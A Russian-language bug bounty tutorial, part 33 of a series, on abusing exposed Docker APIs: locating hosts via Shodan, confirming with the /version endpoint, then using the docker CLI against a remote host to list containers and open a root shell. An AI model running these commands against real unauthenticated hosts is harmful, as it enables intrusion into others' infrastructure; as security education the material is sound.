Bug Bounty, Bug Hunting, Охота за ошибками

#33 Bug Bounty. Docker API.

Здравствуйте, дорогие друзья.

Введение

В старые времена, если Вы разработали кусок кода, он мог нормально работать на Вашем компьютере, но когда Вы помещаете его в другую систему, он полностью выходит из строя. Docker был разработан, чтобы решить эту проблему. Docker — это программная платформа с открытым исходным кодом для создания, развертывания и управления контейнерами виртуализированных приложений на общей операционной системе, с экосистемой сопутствующих инструментов.

Exposed Docker API

Когда Вы устанавливаете докер в системе, он предоставляет API на Вашем локальном хосте, и расположен на порту 2375. Этот API можно использовать для взаимодействия с механизмом докера, что в основном, дает Вам право делать все, что Вы пожелаете, без аутентификации. В этих условиях никакая посторонняя сторона не сможет получить доступ к вашему Docker API. Однако, в некоторых случаях, этот API может быть изменен так, чтобы к нему могли обращаться внешние ресурсы. Если сделать это неправильно, то произойдет открытие API докера, как показано в следующем Shodan поиске:

Shodan search docker api

Чтобы подтвердить, что на нужном хосте запущен Docker, Вы можете сделать запрос GET на конечную точку/версию. Произойдет распечатка большого двоичного объекта json, как показано ниже:

{

«Platform»: {

«Name»: «Docker Engine — Community»

},

«Components»: [

{

«Name»: «Engine»,

«Version»: «18.09.0»,

«Details»: {

«ApiVersion»: «1.39»,

«Arch»: «amd64»,

«BuildTime»: «2018-11-07T00:56:41.000000000+00:00»,

«Experimental»: «false»,

«GitCommit»: «4d60db4»,

«GoVersion»: «go1.10.4»,

«KernelVersion»: «10.0 14393 (14393.3204.amd64fre.rs1_release.190830-1500)»,

«MinAPIVersion»: «1.24»,

«Os»: «windows»

}

}

],

«Version»: «18.09.0»,

«ApiVersion»: «1.39»,

«MinAPIVersion»: «1.24»,

«GitCommit»: «4d60db4»,

«GoVersion»: «go1.10.4»,

«Os»: «windows»,

«Arch»: «amd64»,

«KernelVersion»: «10.0 14393 (14393.3204.amd64fre.rs1_release.190830-1500)»,

«BuildTime»: «2018-11-07T00:56:41.000000000+00:00»

}

Как только Вы подтвердите, что Docker API открыт, далее, я обычно перехожу к CLI-версии докера. Из CLI Вы можете выполнить следующую команду, чтобы получить список запущенных в данный момент контейнеров:

docker -H <host>:<port> ps

docker -H <host>:<port> ps

Как Вы можете видеть на изображении выше, у нас есть один контейнер, работающий на порту. 80 с именем Elegant_easley. Мы можем легко вставить оболочку в этот контейнер, выполнив следующую команду:

docker -H <host>:<port> exec -it <container name> /bin/bash

docker -H <host>:<port> exec -it <container name> /bin/bash

Как Вы можете видеть на изображении выше, нас перебросили прямо в рут-шелл. Там мы можем делать все что угодно, в зависимости от версии докера, и у Вас может быть возможность использовать эксплойт для выхода из контейнера на хост-компьютер. Вы не ограничиваетесь только выталкиванием оболочки в свой докер-контейнер. Вы можете делать и другие вещи, такие как развертывание собственных контейнеров. Эта техника широко использовалась майнерами криптовалюты, которые размещают контейнеры в чужой инфраструктуре.

Вывод

Подавляющее большинство инженеров-программистов используют контейнеры Docker, для развертывания своих приложений. В процессе они могут открыть доступ к своему Docker API, что означает большие неприятности. Злоумышленники могут легко захватить их инфраструктуру, чтобы развернуть собственные контейнеры или, что еще хуже, они могут получить root-доступ к Вашему контейнеру.

На этом все. Всем хорошего дня!

#1 Bug Bounty. Подготовка к Bug Bounty. Введение.

#2 Bug Bounty. Организация. Введение.

#3 Bug Bounty. Заметки. Введение.

#4 Bug Bounty. Подготовка к охоте. База знаний.

#5 Bug Bounty. RSS-каналы.

#6 Bug Bounty 101. Выбор платформы.

#7 Bug Bounty. Выбор правильной цели.

#8 Bug Bounty. Методология — рабочие процессы.

#9 Bug Bounty. Рабочий процесс GitHub.

#10 Bug Bounty. Гугл Дорки Рабочий процесс.

#11 Bug Bounty. Эксплойты — Рабочий процесс.

#12 Bug Bounty. CMS — Рабочий процесс.

#13 Bug Bounty. Брутфорс — Рабочий процесс.

#14 Bug Bounty. Раздел 2. Разведка.

#15 Bug Bounty. Reverse Whois.

#16 Bug Bounty. Гугл Дорки.

#17 Bug Bounty. Разведка — Фаза 2. Словарь.

#18 Bug Bounty. Перечисление поддоменов.

#19 Bug Bounty. Поисковый движок.

#20 Bug Bounty. Перестановка поддоменов.

#21 Bug Bounty. Разрешения DNS.

#22 Bug Bounty. Wayback Machine crawl data.

#23 Bug Bounty. Проверка файлов JavaScript.

#24 Bug Bounty. Гугл Дорки.

#25 Bug Bounty. Часть 8: Фаза fingerprint.

#26 Bug Bounty. Censys. Nmap. Masscan.

#27 Bug Bounty. Веб-приложение.

#28 Bug Bounty. Этап эксплуатации.

#29 Bug Bounty. GitHub.

#30 Bug Bounty. Неправильно настроенные сегменты облачного хранилища.

#31 Bug Bounty. Облачное хранилище Google.

#32 Bug Bounty. Elastic Search DB.